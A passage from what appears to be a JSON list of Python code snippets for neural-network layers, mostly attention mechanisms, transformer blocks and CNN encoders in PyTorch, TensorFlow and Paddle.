L.relu(out_feat)\\n \\n return out_feat, reduce_attention.alpha, checkpoints\",\n \"def build(self, unused_input_shapes):\\n\\n dense3d_impl = Dense3D\\n dense2dprojection_impl = Dense2DProjection\\n\\n self.attention_layer = CustomAttention(\\n num_attention_heads=self.num_attention_heads,\\n size_per_head=self.attention_head_size,\\n attention_probs_dropout_prob=self.attention_probs_dropout_prob,\\n initializer_range=self.initializer_range,\\n backward_compatible=self.backward_compatible,\\n name=\\\"self\\\")\\n\\n self.attention_output_dense = dense3d_impl(\\n num_attention_heads=self.num_attention_heads,\\n size_per_head=int(self.hidden_size / self.num_attention_heads),\\n kernel_initializer=get_initializer(self.initializer_range),\\n output_projection=True,\\n backward_compatible=self.backward_compatible,\\n name=\\\"dense\\\")\\n self.attention_dropout = tf.keras.layers.Dropout(\\n rate=self.hidden_dropout_prob)\\n self.attention_layer_norm = (\\n tf.keras.layers.LayerNormalization(\\n name=LAYER_NORM_NAME, axis=-1, epsilon=1e-12,\\n # We do layer norm in float32 for numeric stability.\\n dtype=tf.float32))\\n\\n self.intermediate_dense = dense2dprojection_impl(\\n output_size=self.intermediate_size,\\n kernel_initializer=get_initializer(self.initializer_range),\\n activation=self.intermediate_activation,\\n # Uses float32 so that gelu activation is done in float32.\\n fp32_activation=True, name='dense')\\n self.output_dense = dense2dprojection_impl(\\n output_size=self.hidden_size,\\n kernel_initializer=get_initializer(self.initializer_range),\\n name='dense')\\n self.output_dropout = tf.keras.layers.Dropout(rate=self.hidden_dropout_prob)\\n self.output_layer_norm = tf.keras.layers.LayerNormalization(axis=-1,\\n epsilon=1e-12, dtype=tf.float32, name=LAYER_NORM_NAME)\\n super(CustomTransformerBlock, self).build(unused_input_shapes)\",\n \"def __init__(self, encoder_size, decoder_size, label_size):\\n super(BilinearAttention, self).__init__()\\n self.W = nn.Parameter(torch.zeros(label_size, decoder_size, encoder_size))\\n self.u = nn.Parameter(torch.zeros(label_size, encoder_size))\\n self.v = nn.Parameter(torch.zeros(label_size, decoder_size))\\n self.b = nn.Parameter(torch.zeros(label_size))\\n \\n nn.init.xavier_uniform_(self.W)\\n nn.init.xavier_uniform_(self.u)\\n nn.init.xavier_uniform_(self.v)\",\n \"def __init__(self, vilt_layer, config):\\n super().__init__(config)\\n self.in_proj_weight = nn.Parameter(torch.cat([vilt_layer.attention.attention.query.weight, vilt_layer.attention.attention.key.weight, vilt_layer.attention.attention.value.weight]))\\n self.in_proj_bias = nn.Parameter(torch.cat([vilt_layer.attention.attention.query.bias, vilt_layer.attention.attention.key.bias, vilt_layer.attention.attention.value.bias]))\\n self.out_proj_weight = vilt_layer.attention.output.dense.weight\\n self.out_proj_bias = vilt_layer.attention.output.dense.bias\\n self.linear1_weight = vilt_layer.intermediate.dense.weight\\n self.linear1_bias = vilt_layer.intermediate.dense.bias\\n self.linear2_weight = vilt_layer.output.dense.weight\\n self.linear2_bias = vilt_layer.output.dense.bias\\n self.norm1_eps = vilt_layer.layernorm_before.eps\\n self.norm1_weight = vilt_layer.layernorm_before.weight\\n self.norm1_bias = vilt_layer.layernorm_before.bias\\n self.norm2_eps = vilt_layer.layernorm_after.eps\\n self.norm2_weight = vilt_layer.layernorm_after.weight\\n self.norm2_bias = vilt_layer.layernorm_after.bias\\n self.num_heads = vilt_layer.attention.attention.num_attention_heads\\n self.embed_dim = int(vilt_layer.attention.attention.attention_head_size * self.num_heads)\\n self.is_last_layer = False\\n self.norm_first = True\\n self.validate_bettertransformer()\",\n \"def __init__(self, **config):\\n super(CNN, self).__init__()\\n in_channel = [26] + config['cnn_target_filters']\\n kernels = config['cnn_target_kernels']\\n self.layer_size = len(config['cnn_target_filters'])\\n self.visual_attention=config['visual_attention']\\n self.concatenation=config['concatenation']\\n self.convs = nn.ModuleList([nn.Conv1d(in_channels=in_channel[i],\\n out_channels=in_channel[i + 1],\\n kernel_size=kernels[i]) for i in range(self.layer_size)])\\n self.convs = self.convs.float()\\n self.attention = config['attention']\\n protein_size = self.simulate_output((26, 1000))\\n self.fc = nn.Linear(protein_size, config['hidden_dim_protein'])\\n self.Attention=Attention(**config)\",\n \"def __init__(self, layer, config):\\n super().__init__(config)\\n self.in_proj_weight = nn.Parameter(torch.cat([layer.self_attn.q_proj.weight, layer.self_attn.k_proj.weight, layer.self_attn.v_proj.weight]))\\n self.in_proj_bias = nn.Parameter(torch.cat([layer.self_attn.q_proj.bias, layer.self_attn.k_proj.bias, layer.self_attn.v_proj.bias]))\\n self.out_proj_weight = layer.self_attn.out_proj.weight\\n self.out_proj_bias = layer.self_attn.out_proj.bias\\n self.linear1_weight = layer.mlp.fc1.weight\\n self.linear1_bias = layer.mlp.fc1.bias\\n self.linear2_weight = layer.mlp.fc2.weight\\n self.linear2_bias = layer.mlp.fc2.bias\\n self.norm1_eps = layer.layer_norm1.eps\\n self.norm1_weight = layer.layer_norm1.weight\\n self.norm1_bias = layer.layer_norm1.bias\\n self.norm2_eps = layer.layer_norm2.eps\\n self.norm2_weight = layer.layer_norm2.weight\\n self.norm2_bias = layer.layer_norm2.bias\\n self.num_heads = layer.self_attn.num_heads\\n self.embed_dim = layer.self_attn.embed_dim\\n self.is_last_layer = False\\n self.norm_first = True\\n self.validate_bettertransformer()\",\n \"def __init__(self, # noqa: R0913\\n hid_dim,\\n n_heads,\\n pf_dim,\\n dropout):\\n\\n super().__init__()\\n\\n self.self_attn_layer_norm = nn.LayerNorm(hid_dim)\\n self.ff_layer_norm = nn.LayerNorm(hid_dim)\\n self.self_attention = MultiHeadAttentionLayer(hid_dim, n_heads, dropout)\\n self.positionwise_feedforward = PositionwiseFeedforwardLayer(hid_dim,\\n pf_dim,\\n dropout)\\n self.dropout = nn.Dropout(dropout)\",\n \"def graph_transformer(\\n gw,\\n feature,\\n edge_feature,\\n hidden_size,\\n name, \\n num_heads=4,\\n attn_drop=False,\\n concat=True,\\n skip_feat=True,\\n gate=False,\\n norm=True, \\n relu=True, \\n is_test=False):\\n def send_attention(src_feat, dst_feat, edge_feat):\\n if edge_feat is None or not edge_feat:\\n output = src_feat[\\\"k_h\\\"] * dst_feat[\\\"q_h\\\"]\\n output = L.reduce_sum(output, -1)\\n output = output / (hidden_size ** 0.5)\\n return {\\\"alpha\\\": output, \\\"v\\\": src_feat[\\\"v_h\\\"]} # batch x h batch x h x feat\\n else:\\n edge_feat = edge_feat[\\\"edge\\\"]\\n edge_feat = L.reshape(edge_feat, [-1, num_heads, hidden_size])\\n output = (src_feat[\\\"k_h\\\"] + edge_feat) * dst_feat[\\\"q_h\\\"]\\n output = L.reduce_sum(output, -1)\\n output = output / (hidden_size ** 0.5)\\n return {\\\"alpha\\\": output, \\\"v\\\": (src_feat[\\\"v_h\\\"] + edge_feat)} # batch x h batch x h x feat\\n \\n class Reduce_attention():\\n def __init__(self,):\\n self.alpha = None\\n def __call__(self, msg):\\n alpha = msg[\\\"alpha\\\"] # lod-tensor (batch_size, num_heads)\\n if attn_drop:\\n old_h = alpha\\n dropout = F.data(name='attn_drop', shape=[1], dtype=\\\"int64\\\")\\n u = L.uniform_random(shape=L.cast(L.shape(alpha)[:1], 'int64'), min=0., max=1.)\\n keeped = L.cast(u > dropout, dtype=\\\"float32\\\")\\n self_attn_mask = L.scale(x=keeped, scale=10000.0, bias=-1.0, bias_after_scale=False)\\n n_head_self_attn_mask = L.stack( x=[self_attn_mask] * num_heads, axis=1)\\n n_head_self_attn_mask.stop_gradient = True\\n alpha = n_head_self_attn_mask+ alpha\\n alpha = L.lod_reset(alpha, old_h)\\n\\n h = msg[\\\"v\\\"]\\n alpha = paddle_helper.sequence_softmax(alpha)\\n self.alpha = alpha\\n old_h = h\\n h = h * alpha\\n h = L.lod_reset(h, old_h)\\n h = L.sequence_pool(h, \\\"sum\\\")\\n if concat:\\n h = L.reshape(h, [-1, num_heads * hidden_size])\\n else:\\n h = L.reduce_mean(h, dim=1)\\n return h\\n reduce_attention = Reduce_attention()\\n \\n q = linear(feature, hidden_size * num_heads, name=name + '_q_weight', init_type='gcn')\\n k = linear(feature, hidden_size * num_heads, name=name + '_k_weight', init_type='gcn')\\n v = linear(feature, hidden_size * num_heads, name=name + '_v_weight', init_type='gcn')\\n \\n \\n reshape_q = L.reshape(q, [-1, num_heads, hidden_size])\\n reshape_k = L.reshape(k, [-1, num_heads, hidden_size])\\n reshape_v = L.reshape(v, [-1, num_heads, hidden_size])\\n\\n msg = gw.send(\\n send_attention,\\n nfeat_list=[(\\\"q_h\\\", reshape_q), (\\\"k_h\\\", reshape_k),\\n (\\\"v_h\\\", reshape_v)],\\n efeat_list=[('edge', edge_feature)])\\n out_feat = gw.recv(msg, reduce_attention)\\n \\n if skip_feat:\\n if concat:\\n skip_feature = linear(feature, hidden_size * num_heads, name=name + '_skip_weight', init_type='lin')\\n else:\\n skip_feature = linear(feature, hidden_size, name=name + '_skip_weight', init_type='lin')\\n \\n if gate:\\n temp_output = L.concat([skip_feature, out_feat, out_feat - skip_feature], axis=-1)\\n gate_f = L.sigmoid(linear(temp_output, 1, name=name + '_gate_weight', init_type='lin'))\\n out_feat = skip_feature * gate_f + out_feat * (1 - gate_f)\\n else:\\n out_feat = skip_feature + out_feat\\n \\n if norm:\\n out_feat = layer_norm(out_feat, name=\\\"ln_%s\\\" % name)\\n\\n if relu:\\n out_feat = L.relu(out_feat)\\n \\n return out_feat\",\n \"def __init__(self, vit_layer, config):\\n super().__init__(config)\\n self.in_proj_weight = nn.Parameter(torch.cat([vit_layer.attention.attention.query.weight, vit_layer.attention.attention.key.weight, vit_layer.attention.attention.value.weight]))\\n self.in_proj_bias = nn.Parameter(torch.cat([vit_layer.attention.attention.query.bias, vit_layer.attention.attention.key.bias, vit_layer.attention.attention.value.bias]))\\n self.out_proj_weight = vit_layer.attention.output.dense.weight\\n self.out_proj_bias = vit_layer.attention.output.dense.bias\\n self.linear1_weight = vit_layer.intermediate.dense.weight\\n self.linear1_bias = vit_layer.intermediate.dense.bias\\n self.linear2_weight = vit_layer.output.dense.weight\\n self.linear2_bias = vit_layer.output.dense.bias\\n self.norm1_eps = vit_layer.layernorm_before.eps\\n self.norm1_weight = vit_layer.layernorm_before.weight\\n self.norm1_bias = vit_layer.layernorm_before.bias\\n self.norm2_eps = vit_layer.layernorm_after.eps\\n self.norm2_weight = vit_layer.layernorm_after.weight\\n self.norm2_bias = vit_layer.layernorm_after.bias\\n self.num_heads = vit_layer.attention.attention.num_attention_heads\\n self.embed_dim = int(vit_layer.attention.attention.attention_head_size * self.num_heads)\\n self.is_last_layer = False\\n self.norm_first = True\\n self.validate_bettertransformer()\",\n \"def __init__(self, bert_layer, config):\\n super().__init__(config)\\n self.in_proj_weight = nn.Parameter(torch.cat([bert_layer.attention.q_lin.weight, bert_layer.attention.k_lin.weight, bert_layer.attention.v_lin.weight]))\\n self.in_proj_bias = nn.Parameter(torch.cat([bert_layer.attention.q_lin.bias, bert_layer.attention.k_lin.bias, bert_layer.attention.v_lin.bias]))\\n self.out_proj_weight = bert_layer.attention.out_lin.weight\\n self.out_proj_bias = bert_layer.attention.out_lin.bias\\n self.linear1_weight = bert_layer.ffn.lin1.weight\\n self.linear1_bias = bert_layer.ffn.lin1.bias\\n self.linear2_weight = bert_layer.ffn.lin2.weight\\n self.linear2_bias = bert_layer.ffn.lin2.bias\\n self.norm1_eps = bert_layer.sa_layer_norm.eps\\n self.norm1_weight = bert_layer.sa_layer_norm.weight\\n self.norm1_bias = bert_layer.sa_layer_norm.bias\\n self.norm2_eps = bert_layer.output_layer_norm.eps\\n self.norm2_weight = bert_layer.output_layer_norm.weight\\n self.norm2_bias = bert_layer.output_layer_norm.bias\\n self.num_heads = bert_layer.attention.n_heads\\n self.embed_dim = bert_layer.attention.dim\\n self.is_last_layer = False\\n self.validate_bettertransformer()\",\n \"def build(self, input_shape):\\n if hasattr(self, \\\"timesteps\\\") and self.timesteps is not None:\\n self.timestep_dim = self.timesteps\\n else:\\n self.timestep_dim = 1 # input_shape[0]\\n\\n self.input_dim = input_shape[-1]\\n\\n self.kernel = self.add_weight(\\n shape=(self.input_dim, self.units * 4),\\n name=\\\"kernel\\\",\\n initializer=self.kernel_initializer,\\n regularizer=self.kernel_regularizer,\\n constraint=self.kernel_constraint,\\n )\\n self.recurrent_kernel = self.add_weight(\\n shape=(self.units, self.units * 4),\\n name=\\\"recurrent_kernel\\\",\\n initializer=self.recurrent_initializer,\\n regularizer=self.recurrent_regularizer,\\n constraint=self.recurrent_constraint,\\n )\\n\\n # add attention kernel\\n self.attention_kernel = self.add_weight(\\n shape=(self.input_dim, self.units * 4),\\n name=\\\"attention_kernel\\\",\\n initializer=self.attention_initializer,\\n regularizer=self.attention_regularizer,\\n constraint=self.attention_constraint,\\n )\\n\\n # add attention weights\\n # weights for attention model\\n self.attention_weights = self.add_weight(\\n shape=(self.input_dim, self.units),\\n name=\\\"attention_W\\\",\\n initializer=self.attention_initializer,\\n regularizer=self.attention_regularizer,\\n constraint=self.attention_constraint,\\n )\\n\\n self.attention_recurrent_weights = self.add_weight(\\n shape=(self.units, self.units),\\n name=\\\"attention_U\\\",\\n initializer=self.recurrent_initializer,\\n regularizer=self.recurrent_regularizer,\\n constraint=self.recurrent_constraint,\\n )\\n\\n if self.use_bias:\\n if self.unit_forget_bias:\\n\\n def bias_initializer(shape, *args, **kwargs):\\n return K.concatenate(\\n [\\n self.bias_initializer((self.units,), *args, **kwargs),\\n initializers.Ones()((self.units,), *args, **kwargs),\\n self.bias_initializer(\\n (self.units * 2,), *args, **kwargs\\n ),\\n ]\\n )\\n\\n else:\\n bias_initializer = self.bias_initializer\\n self.bias = self.add_weight(\\n shape=(self.units * 4,),\\n name=\\\"bias\\\",\\n initializer=bias_initializer,\\n regularizer=self.bias_regularizer,\\n constraint=self.bias_constraint,\\n )\\n\\n self.attention_bias = self.add_weight(\\n shape=(self.units,),\\n name=\\\"attention_b\\\",\\n initializer=self.bias_initializer,\\n regularizer=self.bias_regularizer,\\n constraint=self.bias_constraint,\\n )\\n\\n self.attention_recurrent_bias = self.add_weight(\\n shape=(self.units, 1),\\n name=\\\"attention_v\\\",\\n initializer=self.bias_initializer,\\n regularizer=self.bias_regularizer,\\n constraint=self.bias_constraint,\\n )\\n else:\\n self.bias = None\\n self.attention_bias = None\\n self.attention_recurrent_bias = None\\n\\n self.kernel_i = self.kernel[:, : self.units]\\n self.kernel_f = self.kernel[:, self.units : self.units * 2]\\n self.kernel_c = self.kernel[:, self.units * 2 : self.units * 3]\\n self.kernel_o = self.kernel[:, self.units * 3 :]\\n\\n self.recurrent_kernel_i = self.recurrent_kernel[:, : self.units]\\n self.recurrent_kernel_f = self.recurrent_kernel[\\n :, self.units : self.units * 2\\n ]\\n self.recurrent_kernel_c = self.recurrent_kernel[\\n :, self.units * 2 : self.units * 3\\n ]\\n self.recurrent_kernel_o = self.recurrent_kernel[:, self.units * 3 :]\\n\\n self.attention_i = self.attention_kernel[:, : self.units]\\n self.attention_f = self.attention_kernel[:, self.units : self.units * 2]\\n self.attention_c = self.attention_kernel[:, self.units * 2 : self.units * 3]\\n self.attention_o = self.attention_kernel[:, self.units * 3 :]\\n\\n if self.use_bias:\\n self.bias_i = self.bias[: self.units]\\n self.bias_f = self.bias[self.units : self.units * 2]\\n self.bias_c = self.bias[self.units * 2 : self.units * 3]\\n self.bias_o = self.bias[self.units * 3 :]\\n else:\\n self.bias_i = None\\n self.bias_f = None\\n self.bias_c = None\\n self.bias_o = None\\n\\n self.built = True\",\n \"def __init__(self, fc_hidden1=512, fc_hidden2=512, drop_p=0.3, CNN_embed_dim=300):\\n super(ResnetEncoder, self).__init__()\\n\\n self.fc_hidden1, self.fc_hidden2 = fc_hidden1, fc_hidden2\\n self.drop_p = drop_p\\n self.inter = 64\\n self.final = 6\\n\\n self.resnet = models.resnet50(pretrained=True)\\n modules = list(self.resnet.children())[:-1] # delete the last fc layer.\\n self.resnet = nn.Sequential(*modules)\\n self.fc1 = nn.Linear(resnet.fc.in_features, fc_hidden1)\\n self.bn1 = nn.BatchNorm1d(fc_hidden1, momentum=0.01)\\n self.fc2 = nn.Linear(fc_hidden1, fc_hidden2)\\n self.bn2 = nn.BatchNorm1d(fc_hidden2, momentum=0.01)\\n self.fc3 = nn.Linear(fc_hidden2, CNN_embed_dim)\\n self.fc4 = nn.Linear(CNN_embed_dim, self.inter)\\n self.fc5 = nn.Linear(self.inter, self.final)\",\n \"def __init__(self, fc_hidden1=512, fc_hidden2=512, drop_p=0.3, CNN_embed_dim=300):\\n super(ResCNNEncoder, self).__init__()\\n\\n self.fc_hidden1, self.fc_hidden2 = fc_hidden1, fc_hidden2\\n self.drop_p = drop_p\\n\\n resnet = models.resnet50(pretrained=True)\\n modules = list(resnet.children())[:-1] # delete the last fc layer.\\n self.resnet = nn.Sequential(*modules)\\n self.fc1 = nn.Linear(resnet.fc.in_features, fc_hidden1)\\n self.bn1 = nn.BatchNorm1d(fc_hidden1, momentum=0.01)\\n self.fc2 = nn.Linear(fc_hidden1, fc_hidden2)\\n self.bn2 = nn.BatchNorm1d(fc_hidden2, momentum=0.01)\\n self.fc3 = nn.Linear(fc_hidden2, CNN_embed_dim)\",\n \"def __init__(self, n_latent_features=1024, reduced_size=64, activation=ReLU()):\\n\\n super().__init__()\\n self.logger = logging.getLogger(AutoEncoderConvolutional.__name__)\\n self.n_latent_features = n_latent_features\\n self.reduced_size = reduced_size\\n self.middle_layer_size = int(16 * self.reduced_size / 4 * self.reduced_size / 4)\\n self.activation = activation\\n\\n self.logger.info(\\\"Construct model..\\\")\\n self.encode_conv1 = nn.Conv2d(3, 6, kernel_size=3, padding=1)\\n self.encode_pool1 = nn.MaxPool2d(2, stride=2)\\n self.encode_conv2 = nn.Conv2d(6, 16, kernel_size=3, padding=1)\\n self.encode_pool2 = nn.MaxPool2d(2, stride=2)\\n self.encode_fc = nn.Linear(self.middle_layer_size, self.n_latent_features)\\n\\n self.decode_fc = nn.Linear(self.n_latent_features, self.middle_layer_size)\\n self.decode_conv1 = nn.ConvTranspose2d(16, 6, kernel_size=2, stride=2)\\n self.decode_conv2 = nn.ConvTranspose2d(6, 3, kernel_size=2, stride=2)\\n\\n self.reset_weights()\\n\\n self.logger.info(\\\"Finished instantiation\\\")\",\n \"def __init__(self, num_mels=80, num_freq=513, prenet_hidden_size=512, decoder_hidden_size=512,\\n attention_dropout=0.1,\\n layer_postprocess_dropout=0.1, prenet_activation_fn=None, conv_layers_num=4,\\n mag_conv_layers_num=4, prenet_layers=2,\\n prenet_dropout=0.5,\\n prenet_use_inference_dropout=False,\\n cnn_dropout_prob=0.1,\\n bn_momentum=0.95,\\n bn_epsilon=-1e8,\\n reduction_factor=2,\\n attention_layers=4,\\n self_attention_conv_params=None,\\n attention_heads=1,\\n attention_cnn_dropout_prob=0.5,\\n window_size=4,\\n back_step_size=0, kernel_size=5, regularizer=None,\\n force_layers=None, dtype=tf.float32, name=\\\"centaur_decoder\\\", is_prediction=False, is_training=False,\\n is_validation=False):\\n self.kernel_size = kernel_size\\n\\n if force_layers is None:\\n force_layers = [1, 3]\\n self.is_validation = is_validation\\n self.is_prediction = is_prediction\\n self.name = name\\n self.is_training = is_training\\n self.prenet = None\\n self.linear_projection = None\\n self.attentions = []\\n self.output_normalization = None\\n self.conv_layers = []\\n self.mag_conv_layers = []\\n self.conv_layers_num = conv_layers_num\\n self.mag_conv_layers_num = mag_conv_layers_num\\n self.stop_token_projection_layer = None\\n self.mel_projection_layer = None\\n self.mag_projection_layer = None\\n self.regularizer = regularizer\\n self.num_mels = num_mels\\n self.num_freq = num_freq\\n self.reduction_factor = reduction_factor\\n self.prenet_layers = prenet_layers\\n self.prenet_hidden_size = prenet_hidden_size\\n self.prenet_activation_fn = prenet_activation_fn if prenet_activation_fn else tf.nn.relu\\n self.prenet_use_inference_dropout = prenet_use_inference_dropout\\n self.prenet_dropout = prenet_dropout\\n self.cnn_dropout_prob = cnn_dropout_prob\\n self.dtype = dtype\\n self.bn_momentum = bn_momentum\\n self.bn_epsilon = bn_epsilon\\n self.decoder_hidden_size = decoder_hidden_size\\n self.attention_layers = attention_layers\\n self.force_layers = force_layers\\n\\n self.window_size = window_size\\n self.attention_heads = attention_heads\\n self.attention_dropout = attention_dropout\\n self.layer_postprocess_dropout = layer_postprocess_dropout\\n self.attention_cnn_dropout_prob = attention_cnn_dropout_prob\\n self.back_step_size = back_step_size\\n if self_attention_conv_params is None:\\n self_attention_conv_params = {\\n \\\"kernel_size\\\": [self.kernel_size],\\n \\\"stride\\\": [1],\\n \\\"num_channels\\\": self.decoder_hidden_size,\\n \\\"padding\\\": \\\"VALID\\\",\\n \\\"is_causal\\\": True,\\n \\\"activation_fn\\\": tf.nn.relu\\n }\\n self.self_attention_conv_params = self_attention_conv_params\",\n \"def get_attention(self, X):\\n if self.bn:\\n layer = 16\\n else:\\n layer = 14\\n inputs = [K.learning_phase()] + [self.model.inputs[0]]\\n _attention_f = K.function(inputs, [\\n self.model.layers[layer].output])\\n \\n return _attention_f([0] + [X])\",\n \"def __init__(self, embed_size, dropout=0.5, image_model='resnet101', simple=False, pretrained=True):\\n super(EncoderCNN, self).__init__()\\n resnet = globals()[image_model](pretrained=pretrained)\\n modules = list(resnet.children())[:-2] # delete the last fc layer.\\n self.resnet = nn.Sequential(*modules)\\n \\n self.linear = nn.Sequential(nn.Conv2d(resnet.fc.in_features, embed_size, kernel_size=1, padding=0),\\n nn.Dropout2d(dropout))\\n\\n self.simple = simple\\n if simple:\\n self.avgpool = nn.AdaptiveAvgPool2d((1, 1))\",\n \"def _attention(self, inputs):\\n attn_weights = K.batch_dot(x=inputs,\\n y=K.permute_dimensions(inputs,\\n pattern=(0, 2, 1)))\\n return K.permute_dimensions(attn_weights, (0, 2, 1))\",\n \"def __init__(self, input_dims, hidden_dims, output_dims, extra_dims, actfn, pre_layers=None):\\n super().__init__()\\n self.extra_dims = extra_dims\\n\\n layers = []\\n if pre_layers is not None:\\n if not isinstance(pre_layers, list):\\n layers += [pre_layers]\\n else:\\n layers += pre_layers\\n hidden_dims = [input_dims] + hidden_dims\\n for i in range(len(hidden_dims)-1):\\n if not isinstance(layers[-1], EmbedLayer): # After an embedding layer, we directly apply a non-linearity\\n layers += [MultivarLinear(input_dims=hidden_dims[i],\\n output_dims=hidden_dims[i+1],\\n extra_dims=extra_dims)]\\n layers += [actfn()]\\n layers += [MultivarLinear(input_dims=hidden_dims[-1],\\n output_dims=output_dims,\\n extra_dims=extra_dims)]\\n self.layers = nn.ModuleList(layers)\",\n \"def forward(self, h_t, mem):\\n\\n # ==\\n # Compute non-sparse attention\\n cur_mem_size = mem.size(0)\\n batch_size = mem.size(1)\\n\\n # Repeat h_t from (batch, hid_dim) to (mem_size, batch, hid_dim)\\n # one for each memory slot\\n h_repeated = (h_t.clone().unsqueeze(0)\\n .repeat(cur_mem_size, 1, 1))\\n\\n # Concat to [h_t, memory], shape (mem_size, batch, hid_dim*2)\\n mlp_h_attn = torch.cat((h_repeated, mem), dim=2)\\n\\n # (Optional) block past attention gradient\\n if self.block_attn_grad_past:\\n mlp_h_attn = mlp_h_attn.detach()\\n\\n # Compute attention via tanh then matmul with weight matrix\\n # Weight matrix has shape (hid_dim * 2 , 1)\\n # Output (attn_w) has shape (mem_size, batch, 1)\\n mlp_h_attn = self.tanh(mlp_h_attn)\\n attn_w = torch.matmul(mlp_h_attn, self.w_t)\\n\\n # ==\\n # Sparsify attention: set top-k to non-zero and normalize\\n attn_w = attn_w.view(cur_mem_size, batch_size)\\n attn_w = self.sparse_attention(attn_w)\\n attn_w = attn_w.view(cur_mem_size, batch_size, 1)\\n\\n # ==\\n # Extract from memory using attention\\n attn_w_rep = attn_w.repeat(1, 1, self.hidden_size)\\n h_mem_w = attn_w_rep * mem # (mem_size, batch, hid_dim)\\n\\n # Attention-extracted memory information\\n m_t = torch.sum(h_mem_w, dim=0) # (batch, hid_dim)\\n\\n return m_t\",\n \"def attention(inp, scope, e_dim, past, config):\\n assert inp.shape.ndims == 3 # input should be of shape [batch, seqlen, embeddings] # [batch, sequence, features]\\n assert e_dim % config.num_heads == 0 # embedding can be split in heads\\n\\n if past is not None:\\n assert past.shape.ndims == 5 # [batch, 2, heads, seqlen, emebeddings]\\n\\n def split_heads(x):\\n out = split_into_n_states(x, config.num_heads)\\n out = tf.transpose(out, [0, 2, 1, 3])\\n return out\\n\\n def merge_heads(x):\\n out = merge_n_states(tf.transpose(x, [0, 2, 1, 3]))\\n return out\\n\\n def mask_attention_weights(w):\\n # w should have shape [batches, heads, dst_seq, src_seq], where information flows from scr to dst\\n _, _, nd, ns = shapes_list(w)\\n b = attention_mask(nd, ns, w.dtype)\\n b = tf.reshape(b, [1, 1, nd, ns])\\n w = w * b - tf.cast(1e10, w.dtype) * (1 - b)\\n return w\\n\\n def multihead_attention(q, k, v):\\n w = tf.matmul(q, k, transpose_b=True)\\n w *= tf.rsqrt(tf.cast(v.shape[-1].value, w.dtype))\\n\\n # mask attention weights\\n w = mask_attention_weights(w)\\n w = softmax_with_reduce_max(w)\\n out = tf.matmul(w, v)\\n return out\\n\\n with tf.variable_scope(scope):\\n c = conv1d(inp, 'convolutional_attention', e_dim * 3)\\n q, k, v = map(split_heads, tf.split(c, 3, axis=2))\\n present = tf.stack([k, v], axis=1)\\n if past is not None:\\n # there is a stack below it\\n pk, pv = tf.unstack(past, axis=1)\\n k = tf.concat([pk, k], axis=2)\\n v = tf.concat([pv, v], axis=2)\\n\\n attn = multihead_attention(q, k, v)\\n attn = merge_heads(attn)\\n\\n out = conv1d(attn, 'convolutional_projection', e_dim)\\n return out, present\",\n \"def output_layer_activation(x):\\n return x\",\n \"def __init__(self, in_dim, activation):\\r\\n super(Self_Attn, self).__init__()\\r\\n self.input_channel = in_dim\\r\\n self.activation = activation\\r\\n self.k = 8\\r\\n self.query = nn.Conv2d(self.input_channel, self.input_channel // self.k, kernel_size=1)\\r\\n self.key = nn.Conv2d(self.input_channel, self.input_channel // self.k, kernel_size=1)\\r\\n self.value = nn.Conv2d(self.input_channel, self.input_channel, kernel_size=1)\\r\\n self.h = nn.Conv2d(self.input_channel, self.input_channel, kernel_size=1)\\r\\n self.gamma = nn.Parameter(torch.zeros(1), requires_grad=True)\\r\\n self.softmax = nn.Softmax(dim=-1)\",\n \"def __init__(self, embed_size):\\n super(ImgAttentionEncoder, self).__init__()\\n vggnet_feat = models.vgg19(pretrained=True).features\\n modules = list(vggnet_feat.children())[:-2]\\n self.cnn = nn.Sequential(*modules)\\n self.fc = nn.Sequential(nn.Linear(self.cnn[-3].out_channels, embed_size),\\n nn.Tanh()) # feature vector of image\",\n \"def init_layers(self):\\n self.user_emb = nn.Embedding(self.n_users, self.emb_dim)\\n self.item_emb = nn.Embedding(self.n_items, self.emb_dim)\\n init_range = 0.1 * (self.emb_dim) ** (-1 / 2)\\n self.item_emb.weight.data.uniform_(-init_range, init_range)\\n self.fc_u_1_mu = nn.Linear(self.user_fea_dim, self.late_dim)\\n self.fc_u_2_mu = nn.Linear(self.late_dim, self.emb_dim * 2)\\n self.fc_i_1_mu = nn.Linear(self.item_fea_dim, self.late_dim)\\n self.fc_i_2_mu = nn.Linear(self.late_dim, self.emb_dim * 2)\",\n \"def __init__(self, # noqa: R0913\\n hid_dim,\\n n_heads,\\n pf_dim,\\n dropout):\\n super().__init__()\\n\\n self.self_attn_layer_norm = nn.LayerNorm(hid_dim)\\n self.enc_attn_layer_norm = nn.LayerNorm(hid_dim)\\n self.ff_layer_norm = nn.LayerNorm(hid_dim)\\n self.self_attention = MultiHeadAttentionLayer(hid_dim, n_heads, dropout)\\n self.encoder_attention = MultiHeadAttentionLayer(hid_dim, n_heads, dropout)\\n self.positionwise_feedforward = PositionwiseFeedforwardLayer(hid_dim,\\n pf_dim,\\n dropout)\\n self.dropout = nn.Dropout(dropout)\",\n \"def __init__(self, fsmt_layer, config):\\n super().__init__(config)\\n self.in_proj_weight = nn.Parameter(torch.cat([fsmt_layer.self_attn.q_proj.weight, fsmt_layer.self_attn.k_proj.weight, fsmt_layer.self_attn.v_proj.weight]))\\n self.in_proj_bias = nn.Parameter(torch.cat([fsmt_layer.self_attn.q_proj.bias, fsmt_layer.self_attn.k_proj.bias, fsmt_layer.self_attn.v_proj.bias]))\\n self.out_proj_weight = fsmt_layer.self_attn.out_proj.weight\\n self.out_proj_bias = fsmt_layer.self_attn.out_proj.bias\\n self.linear1_weight = fsmt_layer.fc1.weight\\n self.linear1_bias = fsmt_layer.fc1.bias\\n self.linear2_weight = fsmt_layer.fc2.weight\\n self.linear2_bias = fsmt_layer.fc2.bias\\n self.norm1_eps = fsmt_layer.self_attn_layer_norm.eps\\n self.norm1_weight = fsmt_layer.self_attn_layer_norm.weight\\n self.norm1_bias = fsmt_layer.self_attn_layer_norm.bias\\n self.norm2_eps = fsmt_layer.final_layer_norm.eps\\n self.norm2_weight = fsmt_layer.final_layer_norm.weight\\n self.norm2_bias = fsmt_layer.final_layer_norm.bias\\n self.num_heads = fsmt_layer.self_attn.num_heads\\n self.embed_dim = fsmt_layer.self_attn.embed_dim\\n self.is_last_layer = False\\n self.validate_bettertransformer()\",\n \"def forward(self, inputs):\\n x_wrd = self.lookup(inputs)\\n\\n # bilinear attention\\n x_avg = x_wrd.mean(dim=1)\\n x = x_wrd.matmul(self.M)\\n x = x.matmul(x_avg.unsqueeze(1).transpose(1, 2))\\n if self.b is not None:\\n x += self.b\\n\\n x = F.tanh(x) \\n a = F.softmax(x, dim=1)\\n\\n z = a.transpose(1, 2).matmul(x_wrd)\\n z = z.squeeze()\\n if z.dim() == 1:\\n return z.unsqueeze(0)\\n return z\",\n \"def local_self_attention_layer(hparams, prefix):\\n return 